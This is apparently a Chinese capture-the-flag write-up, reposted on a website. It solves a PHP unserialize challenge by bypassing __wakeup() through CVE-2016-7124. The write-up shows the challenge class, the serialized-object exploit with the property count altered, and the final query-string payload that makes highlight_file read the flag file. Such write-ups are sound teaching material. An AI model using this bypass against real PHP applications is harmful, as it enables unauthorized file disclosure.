赞
踩
开题,直接给了题目源码。
简单看了一下,题目告诉我们flag在哪,而且类中有高亮文件方法。怎么拿flag已经很明显了。关键点在于__weakup()
魔术方法固定死了我们高亮的文件。所以这题只需要绕过__weakup()
。
PHP版本是5.5.38
我们可以使用使对象的属性数量不一致
凡凡来绕过
CVE-2016-7124
版本:PHP5 < 5.6.25、PHP7 < 7.0.10
版本满足,我们来编写EXP:
<?php class X{ public $x ; function __construct($x) { $this->x = $x; } function __wakeup() { if($this->x !== __FILE__){ $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php } } echo serialize(new X("fllllllag.php"));
生成的
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
payload:
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。